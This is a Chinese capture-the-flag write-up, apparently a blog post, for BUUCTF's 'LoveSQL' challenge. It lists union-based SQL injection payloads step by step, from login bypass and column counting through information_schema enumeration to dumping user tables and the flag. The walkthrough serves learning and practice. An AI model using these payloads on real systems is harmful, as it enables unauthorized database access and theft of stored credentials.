[极客大挑战 2019]LoveSQL 1

在这里插入图片描述一、打开,用传统注入姿势试试。sql注入详细操作了解

http://a3637888-ff34-44b6-968e-fc36a0f2b0cd.node4.buuoj.cn:81/check.php?username=1&password=1'or'1'='1

在这里插入图片描述
二、order by判断列

playload:?username=admin'order by 4 #&password=1,#要用url编码
http://a3637888-ff34-44b6-968e-fc36a0f2b0cd.node4.buuoj.cn:81/check.php?username=admin'order by 4 %23&password=1;按照Mysql语法,#后面会被注释掉

在这里插入图片描述
三、得知有3列,利用union确定注入点

playload:?username=1' union select 1,2,3 %23&password=1
username=1时,因为用户名1不存在,就不会显示任何东西,执行union后面的语句,可得知注入点在2,3。
提醒:#要用url编码一下

在这里插入图片描述
四、开始爆库,得知库名为geek,接着查表

?username=1' union select 1,database(),3 %23&password=1

在这里插入图片描述
五、查表,发现有2个表

1、playload:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1
2、这里的'geek'也可替换为database()
3、group_concat函数是将查询到的每行结果以某个字段名进行合并,每一行合并的结果以逗号分隔开(可以结合以下例子理解)
4、group_concat(table_name) from information_schema.tables where table_schema='geek'--+   意思就是:
从information_schema数据库中的tables表中查找数据库geek所含有的表有哪些

函数详解
在这里插入图片描述
六、查列名,发现两张表的列是一样的,那就分开看

1、playload:?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1(geekuser表)
2、?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1(l0ve1ysq1)
3、table_schema 数据库名
4、table_name    表名
5、group_concat(column_name) from information_schema.columns where table_schema='geek' 输出geek库中所有表中的所有列名

在这里插入图片描述七、看l0ve1y表中列里包含内容

1、payload:?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
2、回显:1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{63e507fa-47fa-4d76-ab4b-5319bdedded3},看到flag了,我最开始还以为是md5解密。。

在这里插入图片描述
在这里插入图片描述
八、还是再看看geekuser表中列里包含内容

1、payload:?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
2、回显:nothing,无有用的信息

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值